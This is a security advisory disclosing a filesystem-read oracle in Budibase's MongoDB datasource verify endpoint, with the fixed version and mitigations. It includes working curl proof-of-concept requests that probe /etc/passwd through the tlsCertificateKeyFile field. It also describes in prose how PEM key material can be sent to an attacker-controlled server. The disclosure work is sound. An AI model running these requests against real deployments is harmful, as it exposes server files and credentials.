highJul 24, 2026

Budibase MongoDB Datasource Filesystem Read Oracle via Unvalidated TLS Certificate Paths

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A builder account on Budibase Cloud can supply any absolute server path as a MongoDB TLS certificate field, causing the server to read that file and leak its existence or content through differing…

Package@budibase/server
Ecosystemnpm
Affected<= 3.38.1
Budibase MongoDB Datasource Filesystem Read Oracle via Unvalidated TLS Certificate Paths

The problem

In packages/server/src/integrations/mongodb.ts, the fields tlsCertificateKeyFile and tlsCAFile from a user-controlled datasource config are forwarded verbatim to new MongoClient(connectionString, options) as filesystem paths. No allow-list, no confinement to a certs directory, and no rejection of absolute or .. paths is applied before the driver performs a real disk read.

When /api/datasources/verify is called, the MongoDB driver reads the specified path. If the file exists it returns error:0480006C:PEM routines::no start line (the file was read but is not PEM). If the file is absent it returns ENOENT: no such file or directory, open '<path>' with the attacker-supplied path echoed back.

The differing responses create a precise existence/read oracle over the entire server filesystem, usable from any builder account on the multi-tenant Cloud.

Proof of concept

A working proof-of-concept for this issue in @budibase/server, with the exact payload below.

bash
# Step 1: probe a known file (exists -> PEM routines error = file was READ)
curl -s -X POST 'https://<tenant>.budibase.app/api/datasources/verify' \
  -H 'Cookie: budibase:auth=<SESSION_TOKEN>' \
  -H 'x-csrf-token: <CSRF_TOKEN>' \
  -H 'x-budibase-app-id: <APP_ID>' \
  -H 'Content-Type: application/json' \
  -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}'
# Response: {"connected":false,"error":"error:0480006C:PEM routines::no start line"}
# -> /etc/passwd EXISTS and was READ by the driver

# Step 2: probe a nonexistent path (missing -> ENOENT with path reflected)
curl -s -X POST 'https://<tenant>.budibase.app/api/datasources/verify' \
  -H 'Cookie: budibase:auth=<SESSION_TOKEN>' \
  -H 'x-csrf-token: <CSRF_TOKEN>' \
  -H 'x-budibase-app-id: <APP_ID>' \
  -H 'Content-Type: application/json' \
  -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}'
# Response: {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}
# -> path is missing AND is reflected verbatim in the error

The root cause is a missing input validation step in mongodb.ts: the TLS options object passed to MongoClient accepts file paths controlled directly by the builder with no sanitization. CWE-209 (Generation of Error Message Containing Sensitive Information) covers the oracle primitive because the Node.js MongoDB driver surfaces raw OpenSSL and fs error strings back through the API response.

The two distinct error codes are the key. A valid-but-non-PEM file (like /etc/passwd) triggers an OpenSSL PEM routines::no start line error, proving the driver successfully opened and read the file. A missing path triggers Node's ENOENT with the exact path reflected, confirming the path was consumed as a filesystem operand.

PEM/key material on the server is exfiltrable via a further step: point tlsCertificateKeyFile at a real PEM file and set connectionString to an attacker-controlled MongoDB server; the driver will transmit the file's bytes during the mTLS handshake. The fix in commit 5e19b935536d6d1be1f47100e43c6fb30917826e (PR #19244) removes filesystem path support for these fields on Cloud, instead accepting PEM content directly and writing it to a sandboxed temp path server-side.

The fix

Upgrade to Budibase 3.40.0 or later. The patch (PR #19244, commit 5e19b935) removes unguarded filesystem path forwarding for tlsCertificateKeyFile and tlsCAFile. On self-hosted installs, ensure you are on 3.40.0+. If a patch cannot be applied immediately, block builder access to the MongoDB datasource verify endpoint at the network layer, or strip tlsCertificateKeyFile and tlsCAFile from all incoming datasource payloads via a WAF rule.

Reported by Hasino Security (cyber@hasinosec.lat).

References: [1][2][3][4][5]

Related research